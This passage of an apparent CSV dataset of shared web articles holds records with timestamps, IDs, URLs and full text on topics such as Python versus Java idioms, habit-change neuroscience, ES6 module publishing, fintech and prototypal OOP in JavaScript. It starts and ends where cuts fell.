CPython dictionary implementation uses one of the most highly-tuned hashtable implementations in the known universe. No code that you write yourself is going to work better, unless you're the genetically-enhanced love child of Guido, Tim Peters, and Raymond Hettinger. XML is not the answer. It is not even the question. To paraphrase Jamie Zawinski on regular expressions , ""Some people, when confronted with a problem, think ""I know, I'll use XML."" Now they have two problems."" This is a different situation than in Java, because compared to Java code, XML is agile and flexible. Compared to Python code, XML is a boat anchor, a ball and chain. In Python, XML is something you use for interoperability, not your core functionality, because you simply don't need it for that. In Java, XML can be your savior because it lets you implement domain-specific languages and increase the flexibility of your application ""without coding"". In Java, avoiding coding is an advantage because coding means recompiling. But in Python, more often than not, code is easier to write than XML. And Python can process code much, much faster than your code can process XML. (Not only that, but you have to write the XML processing code, whereas Python itself is already written for you.) If you are a Java programmer, do not trust your instincts regarding whether you should use XML as part of your core application in Python. If you're not implementing an existing XML standard for interoperability reasons, creating some kind of import/export format, or creating some kind of XML editor or processing tool, then Just Don't Do It. At all. Ever. Not even just this once. Don't even think about it. Drop that schema and put your hands in the air, now! If your application or platform will be used by Python developers, they will only thank you for not adding the burden of using XML to their workload. (The only exception to this is if your target audience really really needs XML for some strange reason. Like, they refuse to learn Python and will only pay you if you use XML, or if you plan to give them a nice GUI for editing the XML, and the GUI in question is something that somebody else wrote for editing XML and you get to use it for free. There are also other, very rare, architectural reasons to need XML. Trust me, they don't apply to your app. If in doubt, explain your use case for XML to an experienced Python developer. Or, if you have a thick skin and don't mind being laughed at, try explaining to a Lisp programmer why your application needs XML!) Getters and setters are evil. Evil, evil, I say! Python objects are not Java beans. Do not write getters and setters. This is what the 'property' built-in is for. And do not take that to mean that you should write getters and setters, and then wrap them in 'property'. That means that until you prove that you need anything more than a simple attribute access, don't write getters and setters . They are a waste of CPU time, but more important, they are a waste of programmer time. Not just for the people writing the code and tests, but for the people who have to read and understand them as well. In Java, you have to use getters and setters because using public fields gives you no opportunity to go back and change your mind later to using getters and setters. So in Java, you might as well get the chore out of the way up front. In Python, this is silly, because you can start with a normal attribute and change your mind at any time, without affecting any clients of the class. So, don't write getters and setters. Code duplication is quite often a necessary evil in Java, where you must often write the same method over and over with minor variations (usually because of static typing constraints). It is not necessary or desirable to do this in Python (except in certain rare cases of inlining a few performance-critical functions). If you find yourself writing the same function over and over again with minor variations, it's time to learn about closures. They're really not that scary. Here's what you do. You write a function that contains a function. The inner function is a template for the functions that you're writing over and over again, but with variables in it for all the things that vary from one case of the function to the next. The outer function takes parameters that have the same names as those variables, and returns the inner function. Then, every place where you'd otherwise be writing yet another function, simply call the outer function, and assign the return value to the name you want the ""duplicated"" function to appear. Now, if you need to change how the pattern works, you only have to change it in one place: the template. In the application/platform I looked at, just one highly trivial application of this technique could have cut out hundreds of lines of deadweight code. Actually, since the particular boilerplate has to be used by developers developing plugins for the platform, it will save many, many more hundreds of lines of third-party developer code, while simplifying what those developers have to learn. This is only the tip of the iceberg for Java->Python mindset migration, and about all I can get into right now without delving into an application's specifics. Essentially, if you've been using Java for a while and are new to Python, do not trust your instincts . Your instincts are tuned to Java, not Python. Take a step back, and above all, stop writing so much code . To do this, become more demanding of Python. Pretend that Python is a magic wand that will miraculously do whatever you want without you needing to lifting a finger. Ask, ""how does Python already solve my problem?"" and ""What Python language feature most resembles my problem?"" You will be absolutely astonished at how often it happens that thing you need is already there in some form. In fact, this phenomenon is so common, even among experienced Python programmers, that the Python community has a name for it. We call it ""Guido's time machine"", because sometimes it seems as though that's the only way he could've known what we needed, before we knew it ourselves. So, if you don't feel like you're at least ten times more productive with Python than Java, chances are good that you've been forgetting to use the time machine! (And if you miss your Java IDE, consider the possibility that it's because your Python program is much more complex than it needs to be.) The comment thread is now closed; it was beginning to degenerate into offtopic Python versus Java arguments.",en
1463359748,CONTENT SHARED,-6255158415883847921,6013226412048763966,7846471679835395183,,,,HTML,http://m.folha.uol.com.br/ilustrada/2016/04/1766160-para-neurociencia-motivacao-nao-e-fator-principal-em-mudanca-de-habitos.shtml,"Para neurociência, motivação não é fator principal em mudança de hábitos","Ao contrário do que pregam livros de autoajuda, querer não é poder. A neurociência mostra que ação é mais importante que motivação na hora de dar uma virada na vida. Quer dizer: não dá para esperar ter desejo de comer salada para fazer dieta. ""A vontade anda de mãos dadas com a preguiça, o cérebro sempre quer gastar menos energia. É mais efetivo agir primeiro, até que a repetição leve a um novo hábito"", diz Pedro Calabrez, pesquisador do Laboratório de Neurociências Clínicas da Unifesp. Mudar é agir contra o script. Como os hábitos já estão gravados na memória, preferimos o piloto-automático a criar novas rotinas. ""É como um rio que corre pelo mesmo caminho. O cérebro tem a tendência de reagir sempre do mesmo jeito"", diz Paulo Knapp, psiquiatra e terapeuta cognitivo-comportamental. Não é por mal. Hábitos só existem para facilitar o cotidiano, lembra o neurocientista Jorge Moll, diretor-presidente do Instituto D'Or. ""Comportamento automatizado faz o cérebro mais eficiente. Não conseguiríamos fazer tanta coisa se fosse preciso pensar em cada ação."" Segundo ele, mais de 99% dos hábitos são bons. O problema é o 1% que sobra. ""Da procrastinação ao uso de cocaína, o hábito é formado graças a uma recompensa ou punição. Todos são vícios em potencial"", diz Knapp. Quanto mais rápida for a resposta de uma atitude, mais facilmente ela vira hábito, e mais difícil é mudar. É outra pegadinha do cérebro, que prefere recompensas a curto prazo. Por isso a meta de ficar em forma é dura de ser cumprida. ""A recompensa está distante, e comer traz prêmio imediato"", diz Moll. PLANO DE GUERRA Para driblar o comodismo e instituir novos hábitos, existem técnicas, algumas controversas. A mais célebre envolve repetir o novo comportamento por 21 dias. Mas, segundo um estudo do University College de Londres são necessários, em média, 66 dias para mudar. ""Isso é baboseira, não há tempo certo. Depende de quão antigo o hábito é. Mas há técnicas de psicologia comportamental, como colocar um alarme para comer na hora certa"", diz Moll. Calabrez explica que o hábito tem três dimensões: a ação em si, a recompensa e um gatilho que leva àquele comportamento, tipo o café que convida ao cigarro. Para desconstruir um vício, então, é preciso mudar ao menos uma das três etapas, como descobrir o gatilho e eliminá-lo, dividir o objetivo em metas menores e criar prêmios imediatos para ações com efeitos a longo prazo. Foi o que fez a blogueira Luiza Ferro, 26. Toda vez que ia ao shopping, comprava ""uma besteirinha"". O hábito passou a incomodar quando ela percebeu que gastava demais com coisas inúteis. Luiza deixou de ir ao shopping -o gatilho das compras. Também cancelou newsletters de lojas. E instituiu uma recompensa se conseguisse poupar: um curso no exterior. ""Demorou, mas deu certo. Depois, me interessei por sustentabilidade na moda e pela onda 'slow fashion'. Hoje tenho 40 itens no armário."" Para a psicanálise, a mudança não passa por treinar novos comportamentos. ""O indivíduo não deve ser condicionado. Precisa compreender que não pode se furtar da escolha de seus hábitos e da responsabilidade por eles"", diz o psicanalista Jorge Forbes. A virada é difícil porque envolve surpresa, acrescenta. ""Mudar é angustiante. As pessoas preferem um sintoma conhecido do que um desconhecido."" Fronteiras do Pensamento Fale com a Redação - leitor@grupofolha.com.br Problemas no aplicativo? - novasplataformas@grupofolha.com.br",pt
1463365821,CONTENT SHARED,8473367604990946179,-8020832670974472349,6747776072538025854,,,,HTML,https://medium.com/@tarkus/how-to-build-and-publish-es6-modules-today-with-babel-and-rollup-4426d9c7ca71,"How to Build and Publish ES6 Modules Today, with Babel and Rollup","How to Build and Publish ES6 Modules Today, with Babel and Rollup The ES2015 specification, also referred to as ES6, has been approved by ECMA International back in June 2015. In April 2016, Node.js Foundation team has released Node.js framework v6 supporting 93% of ES6 language features, thanks to V8 v5.0. It's hard to argue that having a JavaScript library written by using ES6+ syntax and existing language features instead of relying on 3rd party libraries and polyfills has clear benefits. Such as having less verbose, more readable code, using fewer abstractions, having the codebase that is easy to maintain and extend, being able to develop your library faster, first to market in the Lean Startup terminology. If you're developing a brand new JavaScript library (npm module) targeting Node.js platform, it might be a good idea to publish it on NPM optimized for Node.js v6 environment, and optionally provide a fallback for developers who are still forced to use v5 and earlier versions of Node.js. So that, Node 6 users could import your library as regular: const MyLibrary = require('my-library'); Yet being sure that the code will operate well in Node.js 6 environment. Whereas Node 0.x, 4.x, 5.x users would import ES5.1 version of your library instead (transpiled from ES6 to ES5.1 via Babel): var MyLibrary = require('my-library/legacy'); In addition to that, it is highly recommended to include yet another version of the library into your NPM package that is using ES2015 modules syntax. Modules haven't landed yet in Node.js and V8 but are widely used in Node.js and frontend communities thanks to module bundlers such as Webpack, Browserify, JSPM and Babel compiler. In order to do so, you need to compile the source code into a distributable format optimized for Node.js 6 but additionally make sure that the import/export statements in the original source code are not transpiled into ES5 module.exports syntax. Let me show you how to do it with Babel and Rollup. The directory structure of your project may look as follows: . ├── /dist/ # Temp folder for compiled output │ ├── /legacy/ # Legacy bundle(s) for Node 0.x, 4.x │ │ ├── /main.js # ES5.1 bundle for Node 0.x, 4.x │ │ └── /package.json # Legacy NPM module settings │ ├── /main.js # ES6 bundle /w CommonJS for Node v6 │ ├── /main.mjs # ES6 bundle /w Modules for cool kids │ ├── /main.browser.js # ES5.1 bundle for browsers │ ├── /my-library.js # UMD bundle for browsers │ ├── /my-library.min.js # UMD bundle, minified and optimized │ └── /package.json # NPM module settings ├── /node_modules/ # 3rd-party libraries and utilities ├── /src/ # ES2015+ source code │ ├── /main.js # The main entry point │ ├── /sub-module-a.js # A module referenced in main.js │ └── /sub-module-b.js # A module referenced in main.js ├── /test/ # Unit and end-to-end tests ├── /tools/ # Build automation scripts and utilities │ └── /build.js # Builds the project with Babel/Rollup └── package.json # Project settings Where you have the ""src"" folder containing ES2015+ source code of your library, and a ""dist"" (or ""build"") folder, that is created on the fly when you build the project. From that ""dist"" folder you will publish your NPM library containing CommonJS, ES6 and UMD bundles compiled with Babel and Rollup. The ""package.json"" file will contain references to these bundles: { ""name"": ""my-library"", ""version"": ""1.0.0"", ""main"": ""main.js"", ""jsnext:main"": ""main.mjs"", ""browser"": ""main.browser.js"", ... } ""tools/build.js"" script is a handy way to configure that compilation step. It may look as follows: Now you can build your library by running ""node tools/build"" (assuming you have Node.js 6 installed on your local machine) and publish it from inside the ""dist"" folder to NPM registry. I hope this post will be helpful for developers trying to figure out what's the best way to publish ES6 on NPM. You can also find a pre-configured NPM library boilerplate here: If you think something is missing or inaccurate, please comment below. Happy coding!",en
1463366432,CONTENT SHARED,-8526359231369823784,-5868110530814399805,6062106016321113071,,,,HTML,http://venturebeat.com/2016/05/13/automatic-lays-off-28-of-its-workforce-to-refocus-on-achieving-profitability-next-year/,"Automatic lays off 28% of its workforce, aims for profitability in 2017","Automatic is laying off 24 of its employees, which equates to about 28 percent of its workforce. The connected car platform company said that the layoffs are distributed across the organization, impacting those in engineering, support, quality assurance, and other areas. Calling it one of his toughest decisions, CEO Thejo Kote explained that the move was necessary in order to allow Automatic to focus on two market verticals that have proven successful: Auto insurance and fleet management. This new focus is expected to pave the way to profitability, something that Kote predicts will happen in the ""early part of next year."" He shared that the company's revenue has grown 400 percent from 2014 to 2015. At last count, Automatic had 85 employees, but with this shift in priorities, redundancies emerged in roles and responsibilities. Kote said that before this, the company made every effort to control costs, but to no avail: ""Ultimately I came to the decision that this was the right thing to do for the long-term, for the health of the company, and to reach profitability."" Founded in 2011, Automatic has been working to build up the automotive cloud. ""Every car will be connected in the future,"" Kote said. The company's first product - an adapter that monitors your vehicle - was aimed at consumers. But as the connected car landscape has exploded, Automatic has opted to pursue other opportunities beyond the consumer space. As part of a play for the auto insurance industry, providers will help distribute Automatic's adapter in vehicles. The company has already signed partnerships with four major carriers, although Kote would only disclose relationships with Liberty Mutual and USAA, which is an investor . However, he said that providers were willing to use the platform because of the user experience, the design, and the fact that it was provided by a third party, which ensures that the data is more transparent. As for fleet management, Kote didn't shy away from the idea that it's akin to those bumper stickers you see on trucks that read ""How's my driving?"" Automatic's adapters can be used to obtain actionable information concerning trucks in a fleet company. The performance of these vehicles is important, especially from the brand and reputation side. The platform can also be used to provide real insights and feedback to drivers, Kote said, many of whom may not often get such feedback from their supervisors. But in doubling down on these verticals, the company realized that it didn't ""make sense to have dedicated teams focused on the consumer product,"" Kote remarked. ""We found the areas that bring the most sustainable and fast growth over the next 18 months."" Automatic will continue to sell its adapter online and in retail stores. Its software will also remain supported, but the team itself will focus on the new verticals. Kote wrote in a blog post: ""We've got something big that we're excited to launch soon. Our consumer products showcase the variety and value of the services our platform enables, like third-party integrations or teen driving apps. Our success attracting and working with partners is directly attributable to the quality of products we ship to consumers. And our partners provide enormous channels to get our products into more drivers' hands."" Founded by Kote and Jerry Jariyasunant, Automatic has raised more than $32 million in venture funding through investments from Y Combinator, USAA, Michigan eLab, Comcast Ventures, Amicus Capital, CDK Global, Lumia Capital, and several angel investors. AI. Messaging. Bots. Arm yourself for the next paradigm shift at MobileBeat 2016. July 12-13 at The Village in San Francisco. Reserve your place here.",en
1463403335,CONTENT SHARED,1031060816592502094,3609194402293569455,8510229083645425289,,,,HTML,http://googlediscovery.com/2016/05/15/evernote-anuncia-integracao-com-google-drive/,Evernote anuncia integração com Google Drive | Google Discovery,"O Evernote anunciou uma integração com o Google Drive para facilitar a captura, a organização e a colaboração de tudo o que estiver na cabeça de seus usuários. Agora, será possível incluir e localizar arquivos do Google Drive diretamente do Evernote - em vez de ver copiar e colar apenas os respectivos links. Com essa integração, os usuários do Evernote poderão adicionar qualquer arquivo do Drive às suas notas sem sair do Evernote e todas as mudanças feitas aos arquivos no serviço serão atualizadas de maneira dinâmica no Evernote. A integração já está disponível em versão Beta para Android e para a web, no Chrome. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1463404882,CONTENT SHARED,-2429242279408079104,3609194402293569455,8510229083645425289,,,,HTML,https://medium.com/product-hunt/9-useful-apps-for-product-managers-86e8200e39c3,9 Useful Apps for Product Managers - Product Hunt,"9 Useful Apps for Product Managers If you are a product manager, you know just how important great tools are for planning and managing your team's progress on a daily basis. If you're looking for applications to help make your workflow more organized and efficient, here's a list of nine great products to try. Whether you need a better way to markup screenshots, visualize your product roadmap, or manage your team's ideas, you'll find something here that will help. Give one-or all nine-a try.",en
1463406146,CONTENT SHARED,-2800563841840387504,3609194402293569455,8510229083645425289,,,,HTML,http://recovermoney.com.br/2016/05/11/fintech-dominar-setor-financeiro/,Fintechs: elas podem dominar o setor financeiro?,"Bancos e instituições financeiras foram desafiadas pelas fintechs, empresas que prestam basicamente o mesmo serviço por custos menores - e muita tecnologia Por Ivan Ventura O presidente da JP Morgan, Jamie Dimon alertou que o Vale do Silício estava de olho no setor financeiro - em especial, o negócio dos bancos. O que parecia um setor ""protegido"" do avanço das startups mudou rapidamente nos últimos anos. E o nome da revolução no setor leva o nome de Fintech. Fintech faz exatamente o que um banco faz, mas utiliza alta tecnologia e gasta uma quantia infinitamente inferior a uma instituição financeira. Elas dominaram a plenária ""Fintechs e a revolução do crédito no Brasil"", no Recover Money. O mediador do painel Lauro Gonzalez, coordenador do Centro de Estudos em Microfinanças e Inclusão Financeira da FGV, um conhecedor do assunto e que recentemente publicou um artigo sobre as fintechs. ""Há um mês, nós tínhamos que falar a definição de fintech. Hoje, a mídia especializada já discute os efeitos dessas empresas disruptivas no setor financeiro"", afirma. Hoje, há um respeito dos bancos em relação às fintechs - e vice-versa. Svante Westerberg, co-founder da maxiPAGO! (sistema de pagamento adquirido pelo Itaú), afirma que há ""mentes brilhantes não apenas dentro das startups, mas também dentro dos bancos"". E onde instituições financeiras e as empresas de tecnologia se diferenciam? ""Existem mentes brilhantes nos bancos também, mas tradicionalmente há a área de compliance de risco e tem por hábito dizer 'não'. Eles precisam de equilíbrio para inovar"", afirma Westerberg. Outra desvantagem dos bancos em relação as fintechs é o baixo custo. Igor Marchesini, managing director da Brazil Sumup (facilitadora de pagamento), citou um exemplo no painel. ""Penso que a folha de cheque está em extinção. Hoje, as pessoas usam esse meio de pagamento por causa de um prestador de serviço. Nós pegamos esse processo e jogamos fora. Não posso mais gastar R$ 300 com o back office com papel e outros materiais. Hoje, eu uso digital e dados do Serasa"", afirma. Por outro lado, as fintechs têm alguns desafios, normalmente ligados à ""velha economia"". ""As Fintechs buscam digitalizar tudo, o que é outra vantagem a nosso favor. Nascemos digital sem ter sistema legado, o que provoca algumas discussões"", afirma Augusto Lins, sócio-diretor da Stone. Um exemplo é o Uber, que confrontou o taxista. E como se comportou a empresa que surgiu no Vale do Silício? ""É melhor pedir desculpas do que pedir permissão. O Uber fez isso. É o caminho"", afirma Westerberg. Cobrança No caso de um evento de recuperação, o Recover Money, a tecnologia pode ajudar a aprimorar a cobrança da dívida por meio de uma gestão digital de crédito. É o que acredita Michele Labriola, CEP da SACapp (empresa que visa tirar a dependência de discadores preditivos no atendimento por meio da digitalização do processo). ""Precisamos olhar com carinho a tecnologia e sermos mais ousados para, assim, fazer algo diferente. Uma das saídas para a recuperação de crédito é simplificá-la e torná-la mais barata"", afirma. A simplificação foi justamente a saída desenvolvida pela F(X), empresa que conecta quem oferta e quem busca dinheiro emprestado. ""Um consultor leva dois meses. Usamos 50 variáveis e fazemos isso em 10 segundos. É como o Tinder, que faz o match de quem quer dinheiro e quem precisa"", afirma Dan Cohen, CEO e fundador da startup.",pt
1463415628,CONTENT SHARED,-5482295111885355605,3061273947166110301,-1044188745658771062,,,,HTML,http://9to5mac.com/2016/05/13/uk-drivers-license-apple-wallet-iphone/,UK shows off prototype of digital iPhone driving license using Apple's Wallet app,"It looks like drivers in the UK could soon be able to store their driver's license within Apple's Wallet app on iPhones as CEO of the country's Driver Vehicle Licensing Agency (DVLA) today shared the image of the work in progress feature above. Apple's Wallet app on iOS is currently used to store Apple Pay credit cards and debit cards, as well things like boarding passes, tickets, and rewards cards. It appears that the UK government is working with Apple's Wallet APIs to allow users to store their driver's license alongside their other cards already in the app. In a separate tweet, DVLA CEO Oliver Morley shared additional information noting that the app is currently only a prototype and that there is no timeline regarding availability. He also noted that the feature is not a replacement for a photo card but ""an add-on"" and that security is a main priority. Development of the feature has been made possible by recent changes to laws for UK driving licenses that abolished the paper counterpart to the photo card last year. The UK agency isn't the first we've heard to be working on digital iPhone driver's licenses. A little over a year ago reports noted that Iowa was looking into making driver's licenses available through an iPhone app and it has since started a pilot program . At the time the company helping Iowa build its app, MorphoTrust USA, said it was in talks with 20 other states. The implementation by the DVLA would be, however, the first we've seen using Apple's Wallet app.",en
1463416228,CONTENT SHARED,-1196068832249300490,-5388083602161519863,4975437771260305549,,,,HTML,http://edition.cnn.com/2016/05/09/arts/google-tilt-brush/index.html?sr=fbCNN051016google-tilt-brush0210PMVODtop,The 'impossible' is now a reality,"Google has unveiled Tilt Brush , its new app set to revolutionize the definition of painting and push the boundaries of what it can represent. With the swipe of a digital brush users wearing a connected HTC Vive headset can paint life-sized, three dimensional strokes of just about anything -- even drawing with impossible materials such as fire, snow and stars. The immersive space is an obvious draw for installation artists, but there are multiple creative avenues for the app. Tilt Brush has the potential to drive change in the fashion industry, as illustrators can paint with textured fabrics such as denim, silk and cotton, as well as leather. Designers can flesh out their creations to scale and step around their work in progress, viewing it from every conceivable angle -- and share it with Tilt Brush users around the globe. The app, which is bundled in with the HTC Vive, has already become a plaything for a select group of artists invited by The Google Cultural Institute to trial the technology in Paris earlier this year. ""I had this idea of what I wanted to do, but when I entered the virtual space, at that moment everything changed,"" says calligrapher Said Dokins . Faith47 explains that you're leaving the two dimensional world behind and ""basically sculpting your drawing."" ""What really struck me was the ability that this has for this to be a platform for installations in museum and gallery space,"" said Cuban-American artist Jorge Rodriguez-Gerada on how the technology could be applied. Graffiti artist Chu agrees, arguing Tilt Brush ""[is] going to revolutionize how people are going to view immersive artworks.""",en
1463417766,CONTENT SHARED,-3759596852696130492,-2979881261169775358,5601495964629072824,,,,HTML,http://alistapart.com/article/prototypal-object-oriented-programming-using-javascript,Prototypal Object-Oriented Programming using JavaScript,"Illustration by Justin Mezzell by Published in Mehdi Maujood JavaScript Douglas Crockford accurately described JavaScript as the world's most misunderstood language. A lot of programmers tend to think of it as not a ""proper"" language because it lacks the common object-oriented programming concepts. I myself developed the same opinion after my first JavaScript project ended up a hodgepodge, as I couldn't find a way to organize code into classes. But as we will see, JavaScript comes packed with a rich system of object-oriented programming that many programmers don't know about. Back in the time of the First Browser War , executives at Netscape hired a smart guy called Brendan Eich to put together a language that would run in the browser. Unlike class-based languages like C++ and Java, this language, which was at some point called LiveScript, was designed to implement a prototype-based inheritance model. Prototypal OOP, which is conceptually different from the class-based systems, had been invented just a few years before to solve some problems that class-based OOP presented and it fit very well with LiveScript's dynamic nature. Unfortunately, this new language had to ""look like Java"" for marketing reasons. Java was the cool new thing in the tech world and Netscape's executives wanted to market their shiny new language as ""Java's little brother."" This seems to be why its name was changed to JavaScript. The prototype-based OOP system, however, didn't look anything like Java's classes. To make this prototype-based system look like a class-based system, JavaScript's designers came up with the keyword new and a novel way to use constructor functions. The existence of this pattern and the ability to write ""pseudo class-based"" code has led to a lot of confusion among developers. Understanding the rationale behind prototype-based programming was my ""aha"" moment with JavaScript and resolved most of the gripes I had with the language. I hope learning about prototype-based OOP brings you the same peace of mind it brought me. And I hope that exploring a technique that has not been fully explored excites you as much as it excites me. Prototype-based OOP Conceptually, in class-based OOP, we first create a class to serve as a ""blueprint"" for objects, and then create objects based on this blueprint. To build more specific types of objects, we create ""child"" classes; i.e., we make some changes to the blueprint and use the resulting new blueprint to construct the more specific objects. For a real-world analogy, if you were to build a chair, you would first create a blueprint on paper and then manufacture chairs based on this blueprint. The blueprint here is the class, and chairs are the objects. If you wanted to build a rocking chair, you would take the blueprint, make some modifications, and manufacture rocking chairs using the new blueprint. Now take this example into the world of prototypes: you don't create blueprints or classes here, you just create the object. You take some wood and hack together a chair. This chair, an actual object, can function fully as a chair and also serve as a prototype for future chairs. In the world of prototypes, you build a chair and simply create ""clones"" of it. If you want to build a rocking chair, all you have to do is pick a chair you've manufactured earlier, attach two rockers to it, and voilà! You have a rocking chair. You didn't really need a blueprint for that. Now you can just use this rocking chair for yourself, or perhaps use it as a prototype to create more rocking chairs. JavaScript and prototype-based OOP Following is an example that demonstrates this kind of OOP in JavaScript. We start by creating an animal object: Object.create(null) creates a new empty object. (We will discuss Object.create() in further detail later.) Next, we add some properties and functions to our new object: genericAnimal is a proper object and can be used like one: We can create other, more specific animals by using our sample object as a prototype. Think of this as cloning the object, just like we took a chair and created a clone in the real world. We just created a cat as a clone of the generic animal. We can add properties and functions to this: We can use our cat as a prototype and create a few more cats: You can also observe that properties/methods from parents were properly carried over: The new keyword and the constructor function JavaScript has the concept of a new keyword used in conjunction with constructor functions. This feature was built into JavaScript to make it look familiar to people trained in class-based programming. You may have seen JavaScript OOP code that looks like this: Implementing inheritance using JavaScript's default method looks more complicated. We define Ninja as a sub-class of Person . Ninjas can have a name as they are a person, and they can also have a primary weapon, such as shuriken. While the constructor pattern might look more attractive to an eye that's familiar with class-based OOP, it is considered problematic by many. What's happening behind the scenes is prototypal OOP, and the constructor function obfuscates the language's natural implementation of OOP. This just looks like an odd way of doing class-based OOP without real classes, and leaves the programmer wondering why they didn't implement proper class-based OOP. Since it's not really a class, it's important to understand what a call to a constructor does. It first creates an empty object, then sets the prototype of this object to the prototype property of the constructor, then calls the constructor function with this pointing to the newly-created object, and finally returns the object. It's an indirect way of doing prototype-based OOP that looks like class-based OOP. The problem with JavaScript's constructor pattern is succinctly summed up by Douglas Crockford: JavaScript's constructor pattern did not appeal to the classical crowd. It also obscured JavaScript's true prototypal nature. As a result, there are very few programmers who know how to use the language effectively. The most effective way to work with OOP in JavaScript is to understand prototypal OOP, whether the constructor pattern is used or not. Understanding delegation and the implementation of prototypes So far, we've seen how prototypal OOP differs from traditional OOP in that there are no classes-only objects that can inherit from other objects. Every object in JavaScript holds a reference to its parent (prototype) object. When an object is created through Object.create , the passed object-meant to be the prototype for the new object-is set as the new object's prototype. For the purpose of understanding, let's assume that this reference is called __proto__ 1 . Some examples from the previous code can illustrate this point: The line below creates a new empty object with __proto__ as null. The code below then creates a new empty object with __proto__ set to the genericAnimal object, i.e. rodent.__proto__ points to genericAnimal . The following line will create an empty object with __proto__ pointing to rodent. As we can see, every object holds a reference to its prototype. Looking at Object.create without knowing what exactly it does, it might look like the function actually ""clones"" from the parent object, and that properties of the parent are copied over to the child, but this is not true. When capybara is created from rodent , capybara is an empty object with only a reference to rodent . But then-if we were to call capybara.size right after creation, we would get S , which was the size we had set in the parent object. What blood-magic is that? capybara doesn't have a size property yet. But still, when we write capybara.size , we somehow manage to see the prototype's size property. The answer is in JavaScript's method of implementing inheritance: delegation. When we call capybara.size , JavaScript first looks for that property in the capybara object. If not found, it looks for the property in capybara.__proto__ . If it didn't find it in capybara.__proto__ , it would look in capybara.__proto__.__proto__ . This is known as the prototype chain. If we called capybara.description() , the JavaScript engine would start searching up the prototype chain for the description function and finally discover it in capybara.__proto__.__proto__ as it was defined in genericAnimal . The function would then be called with this pointing to capybara . Setting a property is a little different. When we set capybara.size = 'XXL' , a new property called size is created in the capybara object. Next time we try to access capybara.size , we find it directly in the object, set to 'XXL' . Since the prototype property is a reference, changing the prototype object's properties at runtime will affect all objects using the prototype. For example, if we rewrote the description function or added a new function in genericAnimal after creating rodent and capybara , they would be immediately available for use in rodent and capybara , thanks to delegation. Creating Object.create When JavaScript was developed, its default way of creating objects was the keyword new . Then many notable JavaScript developers campaigned for Object.create , and eventually it was included in the standard. However, some browsers don't support Object.create (you know the one I mean). For that reason, Douglas Crockford recommends including the following code in your JavaScript applications to ensure that Object.create is created if it is not there: Object.create in action If you wanted to extend JavaScript's Math object, how would you do it? Suppose that we would like to redefine the random function without modifying the original Math object, as other scripts might be using it. JavaScript's flexibility provides many options. But I find using Object.create a breeze: Couldn't possibly get any simpler than that. You could, if you prefer, write a new constructor, set its prototype to a clone of Math , augment the prototype with the functions you like, and then construct the actual object. But why go through all that pain to make it look like a class, when prototypes are so simple? We can now redefine the random function in our myMath object. In this case, I wrote a function that returns random whole numbers within a range if the user specifies one. Otherwise, it just calls the parent's random function. There! Now myMath.random(-5,5) gets you a random whole number between −5 and 5, while myMath.random() gets the usual. And since myMath has Math as its prototype, it has all the functionality of the Math object built into it. Class-based OOP vs. prototype-based OOP Prototype-based OOP and class-based OOP are both great ways of doing OOP; both approaches have pros and cons. Both have been researched and debated in the academic world since before I was born. Is one better than the other? There is no consensus on that. But the key points everyone can agree on are that prototypal OOP is simpler to understand, more flexible, and more dynamic. To get a glimpse of its dynamic nature, take the following example: you write code that extensively uses the indexOf function in arrays. After writing it all down and testing in a good browser, you grudgingly test it out in Internet Explorer 8. As expected, you face problems. This time it's because indexOf is not defined in IE8. So what do you do? In the class-based world, you could solve this by defining the function, perhaps in another ""helper"" class which takes an array or List or ArrayList or whatever as input, and replacing all the calls in your code. Or perhaps you could sub-class the List or ArrayList and define the function in the sub-class, and use your new sub-class instead of the ArrayList. But JavaScript and prototype-based OOP's dynamic nature makes it simple. Every array is an object and points to a parent prototype object. If we can define the function in the prototype, then our code will work as is without any modification! You can do many cool things once you ditch classes and objects for JavaScript's prototypes and dynamic objects. You can extend existing prototypes to add new functionality-extending prototypes like we did above is how the well known and aptly named library Prototype.js adds its magic to JavaScript's built-in objects. You can create all sorts of interesting inheritance schemes, such as one that inherits selectively from multiple objects. Its dynamic nature means you don't even run into the problems with inheritance that the Gang of Four book famously warns about. (In fact, solving these problems with inheritance was what prompted researchers to invent prototype-based OOP-but all that is beyond our scope for this article.) Class-based OOP emulation can go wrong Consider the following very simple example written with pseudo-classes: The example looks innocent enough. This is an inheritance pattern that you will see in many places all over the internet. However, something funny is going on here-if you check colonel.offspring and puff.offspring , you will notice that each of them contains the same two babies! That's probably not what you intended-unless you are coding a quantum physics thought experiment. JavaScript tried to make our lives easier by making it look like we have good old class-based OOP going on. But it turns out it's not that simple. Simulating class-based OOP without completely understanding prototype-based OOP can lead to unexpected results. To understand why this problem occurred, you must understand prototypes and how constructors are just one way to build objects from other objects. What happened in the above code is very clear if you think in terms of prototypes. The variable offspring is created when the Animal constructor is called-and it is created in the Cat.prototype object. All individual objects created with the Cat constructor use Cat.prototype as their prototype, and Cat.prototype is where offspring resides. When we call makeBaby , the JavaScript engine searches for the offspring property in the Cat object and fails to find it. It then finds the property in Cat.prototype -and adds the new baby in the shared object that both individual Cat objects inherit from. So now that we understand what the problem is, thanks to our knowledge of the prototype-based system, how do we solve it? The solution is that the offspring property needs to be created in the object itself rather than somewhere in the prototype chain. There are many ways to solve it. One way is that makeBaby ensures that the object on which the function is called has its own offspring property: Backbone.js runs into a similar trap. In Backbone.js, you build views by extending the base Backbone.View ""class."" You then instantiate views using the constructor pattern. This model is very good at emulating class-based OOP in JavaScript: This looks like simple class-based OOP. We inherited from the base Backbone.View class to create a HideableView child class. Next, we created an object of type HideableView . Since this looks like simple class-based OOP, we can use this functionality to conveniently build inheritance hierarchies, as shown in the following example: This all looks good while you're thinking in class-based OOP. But if you try table.events['click .expand'] in the console, you will see ""expand""! Somehow, HideableTableView has an expand click handler, even though it was never defined in this class. You can see the problem in action here: The problem above occurred because of the same reason outlined in the earlier example. In Backbone.js, you need to work against the indirection created by trying to make it look like classes, to see the prototype chain hidden in the background. Once you comprehend how the prototype chain would be structured, you will be able to find a simple fix for the problem. In conclusion Despite prototypal OOP underpinning one of the most popular languages out there today, programmers are largely unfamiliar with what exactly prototype-based OOP is. JavaScript itself may be partly to blame because of its attempts to masquerade as a class-based language. This needs to change. To work effectively with JavaScript, developers need to understand the how and why of prototype-based programming-and there's much more to it than this article. Beyond mastering JavaScript, in learning about prototype-based programming you can also learn a lot of things about class-based programming as you get to compare and contrast the two different methods. Further Reading Douglas Crockford's note on protoypal programming was written before Object.create was added to the standard. An article on IBM's developerWorks reinforces the same point on 